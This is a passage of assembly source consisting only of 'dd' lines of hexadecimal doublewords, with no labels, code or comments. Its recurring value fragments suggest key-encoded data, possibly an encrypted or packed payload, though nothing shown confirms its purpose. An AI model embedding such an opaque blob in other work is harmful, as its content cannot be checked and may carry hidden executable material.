		dd 1566883Ch, 15664DDBh, 0A6F83432h, 9851CFDFh,	9C30FEA7h
		dd 11A0C5D4h, 94662232h, 156615DCh, 31520F32h, 3172CD6Eh
		dd 1576A13Dh, 0FD061132h, 1566883Ah, 8D41E908h,	0C5E1704Eh
		dd 0F9E5706Ah, 315A0136h, 83DD2468h, 1A7D7908h,	9E07E28Dh
		dd 0EF710D8Fh, 5EA4B35h, 0FC662232h, 15661139h,	0A8F51276h
		dd 0B51EDEh, 0AC2EA9F9h, 0EA99EECDh, 1572003Dh,	9B694432h
		dd 1566223Ch, 156618DBh, 3B8F3A32h, 36800645h, 0D557880Fh
		dd 15DF40CBh, 14668832h, 9E67CEC3h, 0D1E5063Eh,	0DD56E836h
		dd 156683DBh, 4CBBDE32h, 0FA38111Dh, 0D39718C6h, 432366B5h
		dd 753B1A67h, 0AA69DE52h, 9E0070C4h, 1F8FE9CCh,	4A664432h
		dd 6E8DA02Fh, 0D5AB98A4h, 925277F1h, 10F8FA64h,	61675C78h
		dd 4D381516h, 5F63161Fh, 1568AD4Ch, 0BAA62232h,	0EF6CB553h
		dd 32B229B6h, 0B6D0B56Bh, 1567AA3Dh, 0D4931132h, 1B8F80DBh
		dd 8A664432h, 942E4B14h, 8BDB744Eh, 76DB205Ah, 75A77589h
		dd 749FDAB8h, 30AA9152h, 15640C3Dh, 74064432h, 90696853h
		dd 0EA99EE68h, 156B6152h, 0F2134432h, 4F40DCD4h, 50E96907h
		dd 75A28C63h, 1566C03Dh, 0D6EC2232h, 0DC0E7053h, 9C66886Ah
		dd 0FC3E603Eh, 15662237h, 4461C674h, 0E2331D64h, 803B6026h
		dd 15662ADBh, 0A7620632h, 66897B8Bh, 3152BB45h,	11A2A368h
		dd 1A661132h, 15668CB3h, 0ECED2432h, 0D2EF7553h, 29ED2BBBh
		dd 11A20B16h, 1561C03Dh, 9A692232h, 15661133h, 110ED9CBh
		dd 4C664432h, 0FC3FE833h, 15661122h, 0BF97ADB1h, 8AB6C70Ah
		dd 1CA95F45h, 0AB8B82F8h, 1578E05Ah, 3172CD32h,	19E52DCAh
		dd 1A661132h, 15668EB4h, 15E04B32h, 0EA662232h,	0EF735CB7h
		dd 15606135h, 0F75A4432h, 0C05AE01Dh, 2B84B9h, 1C8F8FC8h
		dd 0A3664432h, 0B16C344Ah, 2EF3A137h, 397F1D0Bh, 916943C8h
		dd 1566226Dh, 3152EECEh, 11A20968h, 75664432h, 4B3F7462h
		dd 15661DDBh, 0B077A732h, 354B236Bh, 5606A8D7h,	1A0670D2h
		dd 128E5885h, 0B6664432h, 8084905Dh, 94008347h,	4D16AFDAh
		dd 3152BB53h, 11A2A16Ch, 15679C3Dh, 469F8832h, 15664089h
		dd 9EB82332h, 0D1E7352Eh, 15668836h, 0E930ADCBh, 9E9EDDCDh
		dd 9C373526h, 11A709D3h, 94664432h, 156626F3h, 316A9632h
		dd 9E00E86Eh, 0AC0024EDh, 0AC003CA5h, 74071E5Ch, 15669ADBh
		dd 0D7D1F232h, 0D0B7D0C6h, 0F9FDC767h, 34D4F44Ah, 0EA8B40DAh
		dd 96380606h, 58F15F6h,	0EA668832h, 51F23D37h, 0F6799142h
		dd 0A0AF1721h, 745285B5h, 48E2452h, 37662232h, 35A6651Bh
		dd 0AF0F30CCh, 0D5551DBBh, 752F981Bh, 743C406Ah, 193C7D8Ah
		dd 48F256Ch, 5E662232h,	83D25E1h, 686BCE54h, 6AB2FDAFh
		dd 0A6F5F2D5h, 43421DB9h, 0D3E76EBBh, 15664436h, 1562E4B3h
		dd 21E11132h, 9069D416h, 15664433h, 3162A9CEh, 94839867h
		dd 15668CF7h, 11A3C532h, 92662232h, 0ED3A351Eh,	340B0DF5h
		dd 156643C8h, 94692232h, 15661139h, 0E2D18752h,	756DB3B3h
		dd 0D20703C6h, 0EF47D4B7h, 15668835h, 0A8E5BC32h, 1D67D0DAh
		dd 34E21E32h, 1A668832h, 156648B2h, 13E82D32h, 1A661132h
		dd 156688B9h, 28FBC932h, 0EC6E228Fh, 9E06C2CDh,	74AC03CCh
		dd 14CBC1CDh, 750625C8h, 258E9054h, 15EE87AEh, 74664432h
		dd 1564A73Dh, 74061132h, 0B8DB0B53h, 7161BE33h,	1731A03Dh
		dd 0FD061132h, 15668821h, 0C48B710h, 0FFB7B333h, 5C882C4Dh
		dd 9DA97E2Eh, 9424DD9Dh, 7A4310E2h, 0E7E74B2Eh,	55FAF190h
		dd 0B8E38353h, 1461D833h, 1A661132h, 156699B4h,	156AAD32h
		dd 0A16B2232h, 2EC5BF4Eh, 7E92A934h, 75932585h,	0F6E74452h
		dd 9E0622B6h, 0D7EDEEEAh, 90EB2553h, 1D67504Eh,	1AB6EECEh
		dd 156689BCh, 0A0EBBD32h, 1D67D18Ah, 1560F8CBh,	62938832h
		dd 0D33BE4E1h, 94579FBFh, 1A061930h, 15668EB7h,	15E54B32h
		dd 0FC662232h, 15661123h, 23792877h, 34A1CE90h,	7BFB32D9h
		dd 1A663209h, 0AB30E99Eh, 4DBB5544h, 0CCCBCCB3h, 0E2673B0Dh
		dd 9491A16Ch, 88518DDDh, 0A269421Ch, 936947CAh,	15668832h
		dd 700E2569h, 9C66226Eh, 0FC3C350Eh, 1566883Ah,	8E484190h
		dd 0F2C72B76h, 2E3ACB9h, 94068FC8h, 2067CCD3h, 156FCB50h
		dd 0DFD61132h, 0B1CDD4D6h, 74682D36h, 0EA99DD8Bh, 1AEF1ECDh
		dd 0FC668832h, 15664438h, 0EC614DECh, 0B3FD51E5h, 0D5578671h
		dd 15DF15CBh, 14662232h, 9E679BC3h, 0D1E7AC3Eh,	15664436h
		dd 1AAE12CBh, 15661BBDh, 0DEE7E832h, 2E514402h,	43077B63h
		dd 0EA423DB1h, 11ED7D6Ch, 1DE44BB5h, 75662232h,	15669D3Dh
		dd 0D4078832h, 1A064CDBh, 7330E185h, 4E76338Dh,	75A7B953h
		dd 1562CD3Dh, 0AB002232h, 9E0020F0h, 1A2CE9C5h,	0EA99DDB7h
		dd 12E92DCDh, 1A661132h, 156689B1h, 9E37BD32h, 0D1E70636h
		dd 15661136h, 1561073Dh, 96694432h, 15662233h, 487E79CEh
		dd 11EF8832h, 3172B316h, 9E69426Ah, 15661132h, 905FE9C7h
		dd 129C4947h, 1505A63Dh, 97691132h, 15668835h, 1567C33Dh
		dd 0AD932232h, 1E256C59h, 0EC5CCB07h, 0EA8EC746h, 84D0307h
		dd 869E142Ah, 1E9E106Ah, 3DE34BF2h, 0ED662232h,	19B794F5h
		dd 15678FC8h, 0FD064432h, 1566223Dh, 7B5C8B87h,	0B6B96568h
		dd 0B300B908h, 1A5BAD52h, 156611B4h, 4507D632h,	4CDCFD63h
		dd 0DDEF2203h, 4DA7106Bh, 7306E9CAh, 0FCA00E88h, 15662223h
		dd 108AA772h, 0BDFDDA3Ah, 6E81B4E4h, 0A779DE60h, 0FC067080h
		dd 15668822h, 108008D5h, 0AE2D5698h, 0E97530EDh, 0A93F307Ch
		dd 118AC553h, 9C662232h, 50D83506h, 9C49C4EBh, 439E1AC3h
		dd 6F1B518Ch, 0FFA8901Dh, 9417EA74h, 0EA36E3D4h, 5C90A321h
		dd 4568EA42h, 22839F8Ah, 4DA06DEAh, 1A38D0BBh, 156610BEh
		dd 0FCCB7432h, 1566443Bh, 584A9AF9h, 0D722EF26h, 0ECD30101h
		dd 0FC61BE11h, 1566223Ah, 1CE5AE13h, 4AF28254h,	9C62A8B1h
		dd 15DE0636h, 9C661132h, 1A3E7474h, 15665CB2h, 7E52D32h
		dd 0FC661132h, 1566883Fh, 42EE03FBh, 5534049h, 72E93B55h
		dd 0FB88B581h, 9069AADCh, 156622EEh, 9C697152h,	15668832h
		dd 156655DBh, 37C7A832h, 92D27F9Eh, 0DDEB1860h,	0D6FD0F26h
		dd 0AF073790h, 339C6AB5h, 0C8580953h, 1ABB99EFh, 156689B7h
		dd 156AF832h, 0F0488832h, 20201BAh, 7E5201FDh, 0AF346845h
		dd 3934FBB6h, 6229F967h, 0F8A7502Eh, 0D0E75C37h, 3B5FC09Dh
		dd 943BAE03h, 8D39CEC0h, 4F70982Fh, 45623252h, 749F2EB0h
		dd 15629A62h, 0D3E71132h, 77BB340h, 0FBE78233h,	77B1940h
		dd 0A269716Ah, 5EB87C9h, 0FD664432h, 15662238h,	5B043B42h
		dd 0D5851634h, 74397D4Bh, 369F97BBh, 1B8F16C8h,	0EB668832h
		dd 56476BE5h, 44B44281h, 0BEC88549h, 38E6616Ch,	0FC934432h
		dd 0EA99DC9Bh, 1570933Dh
		dd 48F8832h, 45664432h,	0C41D5E3Dh, 0C8CA169Eh,	74ED8A79h
		dd 0B591315Ah, 9CA4AB60h, 31729AE1h, 0FC624CB1h, 1566443Bh
		dd 20C7651Ah, 7868812Fh, 0C4E3BB68h, 0EC61BE3Eh, 0ED65EAF3h
		dd 0D22B3C37h, 67988D2Ah, 0C54F4E7Eh, 5914DC1Fh, 584B3C38h
		dd 1E8F90F5h, 4F664432h, 4F45D767h, 0B3963EB2h,	0D5A76CE8h
		dd 1E64B22h, 1A662232h,	15661FBBh, 156F6132h, 94E94432h
		dd 0FBD76A4Bh, 24EEE3E7h, 9F0674FAh, 88EF25D5h,	129C2EE3h
		dd 15662CCAh, 96698833h, 15664671h, 156AA73Dh, 96691132h
		dd 15668834h, 1566CC3Dh, 2BE72232h, 0AEDDAA89h,	17430D3Dh
		dd 429F4432h, 1106F18Dh, 22A9907Dh, 941BA243h, 3B17B3DDh
		dd 15DD714Dh, 14661132h, 4E5D01C1h, 1E8F246Dh, 4C662232h
		dd 3F5A78A0h, 0CFF9B5C4h, 6ED8DF01h, 740B5738h,	156616DBh
		dd 0E1D0D032h, 0D2DA3774h, 15629860h, 0C3671132h, 96429CB9h
		dd 9F6940F6h, 1566223Fh, 156619DBh, 0B2F98832h,	8C7C7719h
		dd 0ECD3ABB5h, 0FC61EB11h, 15668820h, 36144350h, 2D3A815Bh
		dd 584419C7h, 0A7BEBD88h, 88ED0E17h, 129C34B7h,	15661DDBh
		dd 7130ED32h, 0AC4A801Ch, 0BD9D2D17h, 4255EE04h, 0F35388Dh
		dd 311A6D17h, 943F7D36h, 0F35A1F3h, 1C8EE817h, 81664432h
		dd 7BD1A083h, 0A224BF7Fh, 1566033Dh, 1A3E4432h,	156624B0h
		dd 15ED1E32h, 74668832h, 1577AD52h, 0CA5A2232h,	0F79B8F0Ah
		dd 0E3659554h, 0BAF9FCD6h, 73BF77A4h, 0D7BED7B3h, 1469E053h
		dd 29EF4432h, 9CA1AB16h, 1F8F4EC8h, 58668832h, 98310E81h
		dd 8507C187h, 75067190h, 0A4A90354h, 94692592h,	15662234h
		dd 15669F3Dh, 46078832h, 0CDEF97BBh, 96423EB9h,	9F6915F6h
		dd 15668833h, 9E0024CBh, 0A26942EAh, 156FF8C1h,	0E8128832h
		dd 0C4ED5642h, 74C492EEh, 0D0E33A53h, 1A61721Fh, 156648B2h
		dd 13E62D32h, 1A661132h, 156688B0h, 78E2432h, 1662232h
		dd 3198E51Ch, 0D6FC5CCCh, 0FB4FE8E1h, 0B94C10CFh, 4D077104h
		dd 15668EDBh, 0AA227532h, 749D153Eh, 1A64F1F3h,	156683B5h
		dd 1560AD32h, 219A2232h, 37441620h, 20470D31h, 459E43C8h
		dd 1562CEB3h, 21EF1132h, 7538D016h, 156643DAh, 0A13A1D32h
		dd 0FB90ACFFh, 15660A3Dh, 75384432h, 0A788A354h, 0C7DC77FBh
		dd 0B807E9CAh, 1567CC3Dh, 389F2232h, 6D2239CBh,	0D54D5A1Fh
		dd 10AE4511h, 36A609E0h, 514EE837h, 51EF744Ah, 94065816h
		dd 36DAEAD4h, 0FBDF7744h, 0AC06E937h, 2FFABA6h,	156625DBh
		dd 632E9932h, 217C2CFh,	0FC932553h, 1566214Dh, 15661BDBh
		dd 8DD89132h, 0E5B64A6Fh, 40264223h, 0D0E7F4BBh, 15668836h
		dd 1562A9B3h, 39E12232h, 19EF4D16h, 15756116h, 920C4432h
		dd 0DD4521CAh, 0B13967E8h, 61E2578Ah, 7330138Fh, 9C36D73Bh
		dd 156214D2h, 114B8832h, 92664432h, 9C3A0636h, 249F3526h
		dd 12E287FBh, 75664432h, 92ADA354h, 80ED7056h, 129C9D9Fh
		dd 1578C13Dh, 94692232h, 1566112Ah, 15669BDBh, 0B8DB1E32h
		dd 84BF4712h, 276E74EBh, 0C9A86375h, 0C87A5A95h, 15662BDBh
		dd 2DEF6A32h, 0DC4DDD2Ah, 175D1FD2h, 1466A63Dh,	95061132h
		dd 7D071EE0h, 15665C25h, 0AA421EBBh, 15661136h,	1A397233h
		dd 156650B5h, 1BE82D32h, 0FC661132h, 1566883Bh,	2BE80158h
		dd 0E67DF362h, 1572F803h, 0F1518832h, 0C95551D9h, 0B0B4AE28h
		dd 5B4CD5EEh, 3783804Ch, 0AE35747Ah, 7548220Fh,	0D6E7CAC5h
		dd 7548880Ch, 1A3D9D33h, 156623BCh, 985DE432h, 129CA42Bh
		dd 0EAEAC13Dh, 18FDDCDh, 0A3661132h, 53CCF7D3h,	3A50866Bh
		dd 9AD91FE4h, 810A7890h, 4721765Bh, 6D59005Ah, 942C786Fh
		dd 25D17F0h, 4FB60124h,	1063A4F3h, 9B7694D2h, 1BE81ECEh
		dd 0FC668832h, 1566443Bh, 19C3A06Dh, 9A74FD87h,	73EB056Dh
		dd 0FC61BE7Dh, 15662239h, 0A80695E9h, 5431D659h, 1A377CFAh
		dd 15662CB4h, 9C697132h, 15668832h, 1566CF3Dh, 0EA072232h
		dd 6DC71D3h, 0FD02A28Dh, 15664437h, 4AAA86C1h, 7A19008h
		dd 4F64C3D4h, 949F2453h, 44E9F9D4h, 98EF7076h, 129C9D7Fh
		dd 3172CFCBh, 9480AB64h, 156615F4h, 11A00932h, 92664432h
		dd 1A3A0606h, 15661DBDh, 0D7E7E832h, 63A7D12h, 48609C54h
		dd 316A9A53h, 94840160h, 156640F0h, 11A4A332h, 92661132h
		dd 0FC3AAC26h, 15664421h, 6FC8173Ah, 7D779983h,	1773437h
		dd 2BD5A510h, 96E6A991h, 21EF15DEh, 128EE816h, 6E664432h
		dd 0F792109Dh, 4A9AA6C5h, 15669CDBh, 0A076D732h, 5E4817BAh
		dd 87C566F7h, 99CC45C9h, 21AA6FF0h, 88ED4390h, 129C07B7h
		dd 156687DBh, 9CE13532h, 0F3A0627Eh, 2AD2571Dh,	0DA048D5Ch
		dd 0AF3477CDh, 1972164Ah, 11424533h, 0FCE7D168h, 1972704Ah
		dd 1567AB3Dh, 9E9E1132h, 0EF73C5B7h, 0F5B7B835h, 156627DBh
		dd 10489632h, 9065A010h, 129C6A27h, 15662FDBh, 10963532h
		dd 703DD446h, 0AEBCD390h, 0E357C41Eh, 156614DBh, 0A810C32h
		dd 249E8EC5h, 24A013C2h, 12EA1EC2h, 1A668832h, 156645BAh
		dd 198FDE32h, 0A8661132h, 0C1CEB1CAh, 0DF7D86AEh, 7391064Fh
		dd 14EB1E9Fh, 0ED668832h, 1A64A4F3h, 156623B7h,	9065E832h
		dd 129CBD13h, 0AA691552h, 1C8E79E8h, 92661132h,	728BDAC0h
		dd 6376FAD3h, 743F7D63h, 156614DBh, 0E43B6532h,	0E557E8C0h
		dd 0E557E403h, 1FEC1E52h, 0FC668832h, 15664437h, 0DC9F93FFh
		dd 0E7ED7744h, 0FD062553h, 15664439h, 0F0F96CBFh, 37FD6D9Dh
		dd 47BC48DCh, 0FC071C6Ch, 1566223Ch, 5A27E515h,	8F70404Dh
		dd 26491DEFh, 324BCD6Ch, 383F0C4Eh, 3B22EC4Dh, 6A638C33h
		dd 10486656h, 4C7B6D15h, 1568033Dh, 1C8F4432h, 0B4662232h
		dd 0D94EE256h, 0BC7166D1h, 464270B9h, 0D6E7C1BBh, 15661136h
		dd 15624BB3h, 9E14432h,	969F7E16h, 0EF7BF88Fh, 91698935h
		dd 156644B4h, 156624DBh, 0AD56A532h, 2E5F9969h,	0EF6EE1BFh
		dd 7AE22D35h, 1A661132h, 156689BDh, 985DBC32h, 129C2727h
		dd 153A953Dh, 0ED068832h, 2E07AB84h, 0EF6CD7BFh, 5EE21E35h
		dd 75668832h, 248FFB54h, 0C7BEA354h, 88EB7050h,	1D64DA1Ah
		dd 1567CF3Dh, 0EA9F2232h, 9E36EDE1h, 0D1E7AC0Eh, 15664436h
		dd 1567A43Dh, 9C9A1132h, 0EF7031B7h, 739A2435h,	0FC07E4B9h
		dd 156631C5h, 1567053Dh, 1A934432h, 156623B0h, 88EBE932h
		dd 1D64DA1Ah, 75B5BBCAh, 49A54h, 29DAB54h, 0FCDB0B53h
		dd 1561BE2Fh, 1514A63Dh, 78F1132h, 83668832h, 0F4643D59h
		dd 1340D0A1h, 375F4314h, 0D8241466h, 20E37FB9h,	1A61D835h
		dd 156623B6h, 156D6132h, 0CB764432h, 3E7949CEh,	0B7C11179h
		dd 40E3B363h, 1A61BE34h, 156611B7h, 5EC1E32h, 0FC668832h
		dd 15664439h, 0AF4A4D0Fh, 1491CD4Ch, 0FC21F6F5h, 0EA99BB74h
		dd 17E32D52h, 0A3661132h, 0C6D18796h, 1560AD53h, 0C0352232h
		dd 3125637h, 3FCF0D09h,	906943C8h, 1566224Fh, 1561993Dh
		dd 98698832h, 15664433h, 0F8DBA1CBh, 1561EB01h,	15490C3Dh
		dd 1D8F4432h, 0F0662232h, 7497FB79h, 96D0F064h,	0EF429D8Fh
		dd 91692235h, 1566117Bh, 0DBA00952h, 940E1A59h,	26BCC9E8h
		dd 91697076h, 15668833h, 0D1E3C9C7h, 0FC6E23AAh, 1566113Dh
		dd 0B55E7B8h, 0CE114942h, 0DA870415h, 0FC6627FFh, 0EA997688h
		dd 156654DBh, 6E0DAA32h, 29EAA24h, 5C37B831h, 12EF44FFh
		dd 0BCE319D1h, 1A61EB18h
		dd 0EA9811B6h, 0A8E5BCCDh, 1D67D0FEh, 4BE31E33h, 1A668832h
		dd 15665DB2h, 0AF004232h, 1B8F60F7h, 0C6668832h, 0B1889A80h
		dd 0F3AE4D2Bh, 815ECBBh, 905DE9FCh, 1D67B732h, 1555A73Dh
		dd 75061132h, 156680DAh, 81157A32h, 1EFD3174h, 749A4E19h
		dd 0F1E30553h, 0FC661D39h, 1566223Dh, 50775E21h, 0A017D091h
		dd 48A0FD0Dh, 0FC02D7AEh, 0EA99EF0Ch, 0ED99B9C7h, 3397F9B1h
		dd 1A6625C8h, 15773EB6h, 95067432h, 940065C2h, 741E7DFDh
		dd 0E78A9409h, 90698033h, 15664470h, 90EDD7C7h,	129C1CC7h
		dd 1567073Dh, 449E4432h, 2774E88Bh, 94275812h, 92261BF3h
		dd 0C687C540h, 94501B3Bh, 2C6741C3h, 4CA98920h,	1576CB3Dh
		dd 1E8F2232h, 33661132h, 0C5168310h, 689BBFD0h,	905D803Fh
		dd 1D67E3C6h, 157C0D3Dh, 97694432h, 15662233h, 1CE39AC7h
		dd 7561721Ah, 0AE3525C7h, 0EA99DDCDh, 0ED3DCE1Bh, 0E7960D09h
		dd 90694C33h, 1566226Dh, 157E983Dh, 0FD068832h,	1566443Ch
		dd 0CCB855D8h, 0FBAA34D6h, 0EE970C78h, 753DA108h, 90ED4353h
		dd 129C3143h, 15669BDBh, 60364632h, 0E3A847DDh,	5D8C81CBh
		dd 1B5141FAh, 454B1358h, 4225FDB5h, 753D4E61h, 156A063Dh
		dd 138E4432h, 39662232h, 0E5F011E6h, 9269D315h,	15664430h
		dd 2E074352h, 1494E9B7h, 41E3873Ah, 75664432h, 1AA5A954h
		dd 9E07D385h, 0EF6B69B7h, 0DE34B35h, 75662232h,	0FCBE9A54h
		dd 1566883Ch, 89BCAA6Eh, 0FC0F9BDAh, 0A8FE0F79h, 400706A1h
		dd 1566458Fh, 48892332h, 0FDFDA552h, 1566883Bh,	51BA6186h
		dd 209774CAh, 1563F95Fh, 467F8832h, 4B0EEC3Fh, 2E934368h
		dd 1494EDB7h, 34E3873Ah, 75664432h, 7398953Dh, 8CFC7B3h
		dd 20E30353h, 7561BE34h, 0EDBFC3B2h, 0AD36E953h, 15668833h
		dd 0ED3E8333h, 0E666A709h, 90691933h, 15668808h, 9400B852h
		dd 748447D9h, 86794B9h,	44938FC8h, 0EE66E08Bh, 0CC916B6Fh
		dd 65979073h, 94056A2Ah, 5D6591C3h, 11A7A37Ah, 3C104029h
		dd 128FD1FDh, 67664432h, 90D4DA82h, 905D64DDh, 1D677B36h
		dd 154BC13Dh, 74062232h, 331794B9h, 58F8FC8h, 71664432h
		dd 0DBF776BFh, 9BB48658h, 7E50EEBFh, 0ED06EBEBh, 15679860h
		dd 0C2671132h, 0E3D3E868h, 2E0795B9h, 14952AB7h, 51E31E3Ah
		dd 1A668832h, 15664ABDh, 9D694232h, 15661132h, 1566053Dh
		dd 9E074432h, 0EF4913B7h, 1DE31E35h, 1A668832h,	156646BEh
		dd 47074232h, 15661088h, 4FB18932h, 156BC73Dh, 1A062232h
		dd 156611BAh, 0C3F63332h, 2E072EF0h, 14952EB7h,	22E31E3Ah
		dd 1A668832h, 156645B1h, 90EDDA32h, 129C05BFh, 1567073Dh
		dd 47934432h, 0FB7F5F88h, 1384D044h, 2E174AB3h,	0E7E77842h
		dd 7FD83E0Dh, 5F64F3F3h, 0F507AB3h, 0C2673110h,	905DDE68h
		dd 1D67E222h, 15340D3Dh, 9C694432h, 1566223Ah, 8DDF7752h
		dd 7407E8B5h, 0E82DFF52h, 9E07329Eh, 0EF4998B7h, 1AEB8735h
		dd 0FC664432h, 15662238h, 0DD3CCA9Eh, 45B1C1D9h, 0AC370002h
		dd 15662233h, 753FDE33h, 156685DBh, 0E5E17632h,	66AF9FCh
		dd 95A5900Bh, 9400DA0Ch, 745103F2h, 0E67EA709h,	90691933h
		dd 15668806h, 17E64B52h, 75662232h, 0D4ED4653h,	90EDE968h
		dd 129C5363h, 156633DBh, 7CDFF932h, 8D78C3DBh, 0C9E8D78Fh
		dd 9F56D455h, 0AD3652FFh, 0EA9977CDh, 0ED3E831Bh, 0E672A709h
		dd 90691933h, 15668840h, 156649DBh, 0EF562432h,	2DAC9DA0h
		dd 0A58E5591h, 9369BE4Ch, 15662236h, 74A19B52h,	347F35B1h
		dd 1A6643C8h, 15666BB7h, 42067132h, 15EA876Bh, 74664432h
		dd 90EDDE53h, 129C094Bh, 74980352h, 0E4D94B52h,	1564A33Dh
		dd 74061132h, 0EADED853h, 3C99BBCDh, 91697AF5h,	15661124h
		dd 156699DBh, 0D5A14732h, 4B63B04Fh, 82A9DA3Bh,	0B3CF2D93h
		dd 0A8E59703h, 129C23E7h, 51E21E32h, 1A668832h,	156648BBh
		dd 13E82D32h, 1A661132h, 156688B2h, 0B5E37F32h,	1A6E23C1h
		dd 156637B7h, 15616132h, 0EFB04432h, 51CD1ECAh,	28E39A2Bh
		dd 0E0617224h, 4BF9F967h, 0F0A731C6h, 34A39037h, 14E7FC1Eh
		dd 969E19DDh, 0EF69B78Fh, 91691135h, 15668AB5h,	156AC13Dh
		dd 0AF062232h, 3E424ADh, 98A40954h, 0A8E525FEh,	129C2D9Bh
		dd 7DE21E32h, 0E9668830h, 156ECD3Dh, 73062232h,	75008A8Bh
		dd 905DE953h, 1D67B7B6h, 155AA73Dh, 0A2061132h,	90EDE975h
		dd 129C6E73h, 1569CB52h, 0A7931132h, 24622472h,	0FB0C3B93h
		dd 89D4DB8Ah, 13E81E72h, 1A668832h, 156644B5h, 0AE354332h
		dd 0EA99EECDh, 1A3D571Bh, 156645B7h, 905DDE32h,	1D67E2A6h
		dd 15330D3Dh, 128F4432h, 0A0662232h, 7F0382B0h,	1A06FFCEh
		dd 0A269858Dh, 90ED43C2h, 129C25ABh, 1567013Dh,	42934432h
		dd 0EA420EB1h, 14ED1E6Dh, 0E9668832h, 0D4E72252h, 0FC06F001h
		dd 1566113Bh, 0FE77D5FFh, 0D9C2B712h, 156DCB6Dh, 651A1132h
		dd 234AE3C9h, 1F1DBBD3h, 2E0743A5h, 149599B7h, 4BE3873Ah
		dd 75664432h, 0E786A354h, 0CDED77BBh, 0E0E30353h, 0FC61BE1Bh
		dd 1566223Fh, 60F98F78h, 58BB6E26h, 2242F9A9h, 0E82DB1h
		dd 1A661132h, 156687B4h, 156CAD32h, 0ABC22232h,	7C5BA14Fh
		dd 83715D07h, 0EA99FA64h, 0E24FDDCDh, 7E31E6Ch,	0FC668832h
		dd 1566443Fh, 6ADCADF5h, 8137247Fh, 4EF21E8Eh, 8DE37F8Fh
		dd 1A6E23C1h, 15665CB7h, 156F6132h, 800C4432h, 0A4036A9Fh
		dd 9E9FE833h, 0EF5419B7h, 1576AD35h, 91E82232h,	4A82FA47h
		dd 1153670h, 9C82C946h,	0AF341F61h, 15661133h, 1A3C5F33h
		dd 156651BBh, 1576CB32h, 92661132h, 0B8FD955Ch,	3CDDA94Ch
		dd 0DEBA30E1h, 905D7DA2h, 1D677BAEh, 154FC13Dh,	9E9F2232h
		dd 0EF4018B7h, 42937035h, 9E4240CDh, 0D1E7060Eh, 15661136h
		dd 156B013Dh, 1D8F4432h, 66662232h, 353F5559h, 2E546AA3h
		dd 1495C8B7h, 4FE32D3Ah, 0FC661132h, 1566883Fh,	7F042A40h
		dd 22E707E1h, 9DFF44E4h, 0D8E303FBh, 0FC61BE3Dh, 15662239h
		dd 1F76F33Dh, 888C57ACh, 75003642h, 4DF44CEh, 0AF34708Eh
		dd 6BC0BDE2h, 9461A6F3h, 353C2BF8h, 0B8AC9032h,	9446FB0Ah
		dd 916316C0h, 4FB10BBEh, 2DE0AA52h, 0FCE7BDCFh,	328E2Ch
		dd 85E31953h, 1A6E10C1h, 1566CEB7h, 4E84B32h, 0FC662232h
		dd 1566113Eh, 461E6156h, 99379950h, 1A0C7461h, 361B94B9h
		dd 0FC068FC8h, 15664438h, 48C98E8Bh, 7FD2C2F9h,	0AE005287h
		dd 46070B7Fh, 15662389h, 4EB91032h, 15668EDBh, 0AA9F1B32h
		dd 96B1F259h, 0EF69B88Fh, 91698835h, 15664EAAh,	1561A63Dh
		dd 0AA061132h, 2B13021Ah, 9E37F53h, 1A6E23C1h, 156641B7h
		dd 0AB067032h, 0DEBA922h, 749DA954h, 17B394B9h,	198F8FC8h
		dd 0EE664432h, 981CB0C2h, 173D2228h, 249655C9h,	249D75EDh
		dd 0CAE161EDh, 156600DBh, 0EE6C0F32h, 40392937h, 3F5B816Ah
		dd 3CAD72FFh, 1F8FDBB1h, 8A664432h, 2F892600h, 35450AD3h
		dd 0A5E3B3C9h, 1A6E45C1h, 15661CB7h, 9B697132h,	15668823h
		dd 15664FDAh, 0FCAACC32h, 16631882h, 0BE2945ECh, 90ED256Bh
		dd 129C09FFh, 0A2694252h, 4307D0CAh, 1566458Ch,	4B912332h
		dd 16E11E52h, 73668832h, 0AF00B3B9h, 2E0715A7h,	149531B7h
		dd 5BE3873Ah, 0FC664432h, 15662239h, 46F99D6Fh,	54F5F649h
		dd 9E27685Eh, 0EF48F7B7h, 1D8F7135h, 73668832h,	63E68F5Eh
		dd 1A72C9B7h, 156617B5h
		dd 15ED8732h, 74664432h, 3162DD65h, 96422DB9h, 97698CF6h
		dd 1566443Fh, 15662ADBh, 3AF47E32h, 0BEEE1340h,	31E37FD2h
		dd 1A6E23C1h, 15662EB7h, 1DE18732h, 1A664432h, 156620B3h
		dd 9E077132h, 0EF6A05B7h, 3DD72435h, 1566AD3Dh,	45071132h
		dd 1566898Ah, 4DA14532h, 156631DBh, 7E659132h, 0F1306DC6h
		dd 0A059252Ah, 0CB39322Fh, 9FBCB583h, 0E64E0D09h, 90694C33h
		dd 1566225Dh, 15679E3Dh, 9E9E8832h, 0EF7B8DB7h,	1AE42D35h
		dd 0FC661132h, 15668838h, 6B62A7B0h, 1BD8B5D4h,	9B699E01h
		dd 1566883Eh, 1560CF3Dh, 9C692232h, 15661132h, 26F43260h
		dd 0FFE7473Ah, 34682170h, 9484C078h, 0E10615D8h, 4FB145F1h
		dd 95ADA952h, 1A07B7F5h, 15669EBCh, 1577AD32h, 61F02232h
		dd 0B1F99665h, 0BEE3BECAh, 62EBFDDh, 2E131667h,	14953DB7h
		dd 54E3873Ah, 0E9664432h, 347F9FB1h, 1A6616C8h,	1566BBB7h
		dd 19E44B32h, 1A662232h, 156617BAh, 15E48732h, 9E664432h
		dd 0EF44EBB7h, 0AD36ED35h, 0EA9977CDh, 0FC3E831Bh, 1566223Eh
		dd 0E1EA752Eh, 0EE0D80E6h, 61C25FF6h, 0E656A709h, 90691933h
		dd 15668874h, 156ECF3Dh, 91692232h, 15661130h, 90EDE952h
		dd 129C4627h, 0E62DC7h,	0FC661132h, 15668822h, 97A6429Ah
		dd 19AE342h, 0F522951Dh, 27236E3Eh, 850FE60h, 0FFA7058Eh
		dd 39A49036h, 3C9B0C0Ch, 9E061EE5h, 905D43C3h, 1D67E206h
		dd 150E0D3Dh, 1B8F4432h, 8F662232h, 2B2A0E44h, 0F02D8634h
		dd 95AA1371h, 0CDBA193h, 1561EB13h, 152E0D3Dh, 96694432h
		dd 1566223Bh, 8399AF52h, 4B30DCCBh, 18E3CF53h, 7561D83Ah
		dd 0AABD9054h, 0AD93E826h, 223F21FAh, 0AC374353h, 0EA99EECDh
		dd 753F471Bh, 156AAD61h, 68E42232h, 0B07DA29Eh,	0B4D51AB9h
		dd 943CE55Bh, 5E7080C5h, 905D7048h, 1D677B0Ah, 150DC13Dh
		dd 94692232h, 15661123h, 156684DBh, 69557132h, 0A9A0C40Dh
		dd 33AE3E1Ah, 8CE3034Eh, 1A61BE26h, 15663CB7h, 18F7132h
		dd 14668832h, 0D864A9FDh, 0C679C1F9h, 0A7D862BAh, 0DD461229h
